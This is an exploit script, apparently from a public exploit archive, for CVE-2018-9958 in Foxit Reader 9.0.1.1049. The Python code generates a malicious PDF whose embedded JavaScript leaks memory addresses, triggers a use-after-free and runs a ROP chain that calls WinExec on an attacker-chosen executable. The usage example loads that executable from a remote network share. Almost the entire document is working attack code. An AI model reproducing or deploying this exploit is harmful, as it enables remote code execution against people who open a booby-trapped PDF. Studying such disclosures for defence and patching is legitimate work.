# Exploit Title: Foxit Reader 9.0.1.1049 - Arbitrary Code Execution
# Date: 2020-08-29
# Exploit Author: CrossWire
# Vendor Homepage: https://www.foxitsoftware.com/
# Software Link: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English
# Version: 9.0.1.1049
# Tested on: Microsoft Windows Server 2016 10.0.14393
# CVE : [2018-9958](https://nvd.nist.gov/vuln/detail/CVE-2018-9958)
#!/usr/bin/python3
'''
===========================================================================
| PDF generator for Foxit Reader Remote Code Execution (CVE 2018-9958) |
===========================================================================
| Written by: Kevin Dorland (CrossWire) |
| Date: 08/29/2020 |
| |
| Exploit originally discovered by Steven Seeley (mr_me) of Source Incite |
| |
| References: |
| https://www.exploit-db.com/exploits/44941 (Steven Seely Calc.exe PoC) |
| https://www.exploit-db.com/exploits/45269 (Metasploit adaptation) |
| |
===========================================================================
'''
PDF_TEMPLATE = '''
%PDF
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (
var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];
function prepare_heap(size){
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}
function gc() {
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
function alloc_at_leak(){
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}
function control_memory(){
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}
function leak_vtable(){
var a = this.addAnnot({type: "Text"});
a.destroy();
gc();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
var leaked = stolen[0] & 0xffff0000;
foxit_base = leaked - 0x01f50000;
}
function leak_heap_chunk(){
var a = this.addAnnot({type: "Text"});
a.destroy();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
alloc_at_leak();
heap_ptr = stolen[1];
}
function reclaim(){
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
//Path to executable
<PATH TO EXECUTABLE>
//End Path to executable
rop[0x17] = 0x00000000; // adios, amigo
}
}
function trigger_uaf(){
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {
that.getAnnot(0, "uaf").destroy();
reclaim();
return 1;
}
}
});
a.point = arr;
}
function main(){
leak_heap_chunk();
leak_vtable();
control_memory();
trigger_uaf();
}
if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
if (app.appFoxitVersion == "9.0.1.1049"){
main();
}
}
}
)>> trailer <</Root 1 0 R>>
'''
import sys
#Enforces 2 hex char byte notation. "0" becomes "0x00"
def format_byte(b):
if (len(b) > 2) and (b[0:2] == '0x'):
b = b[2:]
if len(b) == 1:
b = '0' + b
return '0x' + b
def char2hex(c):
return format_byte(hex(ord(c)))
#Converts file path into array of eleven 32-bit hex words
def path_to_machine_code(path,little_endian = True):
print("[+] Encoding Path:",path)
#ensure length
if len(path) > 44:
print("[CRITICAL] Path length greater than 44 characters (bytes). Aborting!")
exit(-1)
#Copy path into 4 character (32 bit) words (max 11)
word_array = []
for i in range(11):
word = ''
if len(path):
word += path[0:4] if len(path) >= 4 else path
path = path[len(word):]
if len(word) < 4:
word += chr(0) * (4 - len(word))
word_array.append(word)
#Convert chars to hex values and format to "0xAABBCCDD" notation
hex_array = []
for word in word_array:
#Reverse byte order to fit little endian standard
if(little_endian): word = word[::-1]
#Write bytes to hex strings
hex_string = '0x'
for char in word:
hex_string += char2hex(char)[2:] #strip the 0x off the byte here
hex_array.append(hex_string)
return hex_array
#writes encoded path to rop array to match template
def create_rop(hex_arr, start_index = '0c'):
ord_array = []
index = int(start_index,16)
for instruction in hex_arr:
full_instruction = f"\trop[{format_byte(hex(index))}] = {instruction};"
ord_array.append(full_instruction)
index += 1
return ('\n'.join(ord_array))
if __name__ == '__main__':
if len(sys.argv) != 3:
print(f"USAGE: {sys.argv[0]} <path to executable> <pdf filename>")
print("-- EXAMPLES --")
print(f"{sys.argv[0]} \\\\192.168.0.1\\exploits\\bad.exe evil.pdf")
exit(-1)
#Parse user args
EXE_PATH = sys.argv[1]
PDF_PATH = sys.argv[2]
#Generate hex
raw_hex = path_to_machine_code(EXE_PATH)
print("[+] Machine Code:")
for hex_word in raw_hex:
print(hex_word)
ord_string = create_rop(raw_hex)
print("[+] Instructions to add:")
print(ord_string)
print("[+] Generating pdf...")
print("\t- Filling template...")
evil_pdf = PDF_TEMPLATE.replace('<PATH TO EXECUTABLE>',ord_string)
print("\t- Writing file...")
with open(PDF_PATH,'w') as fd:
fd.write(evil_pdf)
print("[+] Generated pdf:",PDF_PATH)